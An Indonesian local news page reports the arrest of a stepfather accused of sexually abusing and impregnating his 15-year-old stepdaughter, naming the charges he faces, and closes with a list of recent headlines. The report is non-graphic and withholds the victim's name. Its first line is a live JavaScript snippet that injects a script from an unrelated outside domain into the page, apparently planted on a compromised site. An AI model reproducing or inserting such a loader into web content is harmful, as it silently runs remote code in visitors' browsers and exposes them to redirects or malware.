(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HST

Gauli Anak Hingga Bunting, Ayah Tiri Ditangkap Polres HST


BARABAI, Tindak asusila pencabulan di Kabupaten Hulu Sungai Utara (HST) terungkap. Gadis belia berumur 15 tahun, A, menjadi korban ayah tiri hingga bunting. Sang ayah tiri berinisial AH, tercatat sebagai warga desa Hapulang, Kecamatan Haruyan, Kabupaten Hulu Sungai Tengah (HST).

Cerita bermula ketika bulan Juni lalu, keluarga merasa curiga terhadap perubahan bentuk badan korban dan menanyakan langsung kepada A. Meski pada saat itu pihak keluarga hanya menanyakan perubahan bentuk badan saja, korban diketahui tengah mengandung ketika mendapatkan laporan dari keluarga yang berada di Banjarmasin, pada 6 Juli 2019.

“Beberapa hari setelah menanyakan kecurigaan, korban diketahui pergi ke Banjarmasin. Dari keluarga yang ada di Banjarmasin dikabarkan kalau korban sedang mengandung dan siapa yang melakukan perbuatannya,” ujar Kapolres HST AKBP Sabana Atmojo.

“Ternyata, AH yang adalah ayah tiri diduga melakukan perbuatan asusila itu,” kata Sabana Atmojo.

Setelah mendapatkan laporan dari keluarga korban, Polres HST melalui anggota Satuan Reserse dan Kriminal, melakukan penyelidikan. Hingga Sabtu (14/9), sekira pukul 04.00 Wita, pihak kepolisian akhirnya meringkus tersangka AH di Kabupaten Kutai Kartanegara, Provinsi Kaltim. Setelah sebelumnya sempat menjadi Daftar Pencarian Orang (DPO).

“Berdasarkan pengakuan korban sewaktu dimintai keterangan, diketahui tersangka mencabulinya sebanyak tiga kali,” tambahnya.

Kini, bersamaan dengan barang bukti yang sudah diamankan, tersangka bakal dijerat Pasal 81 Ayat (2) PERPU No. 1 Tahun 2016 Jo UU No. 17 Tahun 2016 Jo Pasal 76D UU No. 35 Tahun 2014 Tentang Perubahan Atas Undang-Undang Nomor 23 Tahun 2002 Tentang Perlindungan Anak dengan ancaman penjara 15 tahun penjara.

“Saya ucapkan terima kasih atas bantuan masyarakat sehingga tersangka dapat ditangkap. Dan untuk tersangka, akan diproses sesuai dengan hukum yang berlaku,” tuntasnya. (dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

2 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

4 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

17 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

17 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

19 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

23 jam ago

This website uses cookies.